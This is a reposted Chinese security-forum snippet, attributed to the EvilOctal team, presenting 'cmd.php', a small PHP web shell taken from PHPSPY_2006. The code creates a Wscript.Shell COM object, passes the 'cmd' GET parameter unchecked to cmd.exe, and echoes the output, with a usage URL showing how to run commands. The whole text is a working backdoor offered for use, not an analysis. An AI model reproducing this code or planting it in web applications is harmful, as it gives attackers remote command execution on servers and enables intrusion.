[转载]windows下利用Wscript.Shell来运行命令的cmd.php

信息来源：邪恶八进制信息安全团队（www.eviloctal.com）

从PHPSPY_2006中挑出来的小程序:
cmd.php
<?php
$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");
$exec=$phpwsh->exec("cmd.exe /c ".$_GET[&#39;cmd&#39;]."");
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;

?>
用法:http://127.0.0.1/cmd.php?cmd=ver